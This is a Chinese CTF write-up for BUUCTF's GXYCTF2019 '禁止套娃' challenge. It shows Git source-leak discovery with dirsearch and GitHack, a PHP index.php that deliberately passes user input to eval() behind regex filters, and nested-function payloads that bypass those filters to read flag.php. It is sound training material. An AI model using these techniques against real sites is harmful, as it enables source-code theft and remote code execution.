![BUUCTF——[GXYCTF2019]禁止套娃解题记录](http://pic.xiahunao.cn/yaotu/BUUCTF——[GXYCTF2019]禁止套娃解题记录)
题目场景#解题flag在哪里呢哪里呢呢?_?查看源码无。bp抓包无。进行目录扫描。使用dirsearch设置线程数为1时间间隔为0.1速度太快容易被服务器拒绝请求dirsearch -u http://e0737172-5099-475b-930d-ad9b1396ec70.node5.buuoj.cn:81 -t 1 --delay 0.1扫描结果Git源码泄露服务器上的.git目录Git版本控制的核心目录未被及时清理导致攻击者可以通过该目录下载完整源代码。如何判断存在Git泄露1.直接访问http://目标IP/.git/返回403 Forbidden最常见说明.git目录存在但列表禁止访问 。200 OK 目录列表直接看到.git下的文件。2.访问http://目录IP/.git/HEAD有返回内容存在git泄露。3.使用类似dirsearch的工具扫描。我们这里使用经典工具GitHack下载源码。python GitHack.py http://e0737172-5099-475b-930d-ad9b1396ec70.node5.buuoj.cn:81/.git/结果目录下找到这个文件夹打开刚刚下载的文件index.php?php include flag.php; echo flag在哪里呢br; if(isset($_GET[exp])){ if (!preg_match(/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i, $_GET[exp])) { if(; preg_replace(/[a-z,_]\((?R)?\)/, NULL, $_GET[exp])) { if (!preg_match(/et|na|info|dec|bin|hex|oct|pi|log/i, $_GET[exp])) { // echo $_GET[exp]; eval($_GET[exp]); } else{ die(还差一点哦); } } else{ die(再好好想想); } } else{ die(还想读flag臭弟弟); } } // highlight_file(__FILE__); ?需要传一个exp参数。第一个正则匹配过滤掉了一些常见的php伪协议。data://数据流协议将传入的字符串作为数据流解析可直接执行PHP代码。phar://压缩包协议读取、执行压缩包内的文件无视后缀。file://本地文件协议读取本地文件时PHP默认使用此协议。第二个字符串替换要求整个字符串替换完之后只剩下 ; preg_replace(/[a-z,_]\((?R)?\)/, NULL, $_GET[exp])[a-z,_]表示匹配小写字母、逗号、下划线大于等于一次。\( 和 \)表示匹配左括号和右括号(?R)?中 (?R) 表示把整个正则表达式再执行一遍? 表示匹配0次或1次。整个正则表达式代表的是函数嵌套匹配如a(b(c()));第三个正则匹配过滤掉了et|na|info|dec|bin|hex|oct|pi|log这些字符串片段如get、phpinfo等函数就不能使用了。综合下来这题函数传参是传不了了只能利用函数嵌套回显来寻找有用的信息。下面介绍一些常用的函数。函数嵌套localeconv()返回当前系统的区域设置如货币符号、数字格式、小数点符号等。scandir()返回指定目录下的所有文件和子目录组成的数组。var_dump()打印变量的类型、长度和值。print_r()打印变量的结构和值。current()返回数组当前指针指向的元素值初始指向第一个元素。next()把数组指针往后移一位并返回新的元素值。end()数组指针跳转到最后一个元素并返回相应的值。array_reverse()返回一个数组的逆序。show_source()读取指定文件的内容并以语法高亮的形式输出。highlight_file()完全等价于show_source()函数。pos()完全等价于current()函数。本题我们先构造payload以寻找可利用的字符?expvar_dump(localeconv());这里我们可以提取出数组的第一个元素.后续用来表示当前目录。使用current()函数打印出来看看payload?expprint_r(current(localeconv())); var_dump()函数也是可以的没啥区别继续打印scandir()函数返回的当前目录结构payload?expprint_r(scandir(current(localeconv())));有flag文件了但距离有点远逆序数组payload?expprint_r(array_reverse(scandir(current(localeconv()))));使用next()函数移动指针指向第二个数组元素最后读取flag.php文件内容最终payload?exphighlight_file(next(array_reverse(scandir(current(localeconv())))));Congratulations【个人理解如有不妥欢迎交流指正。】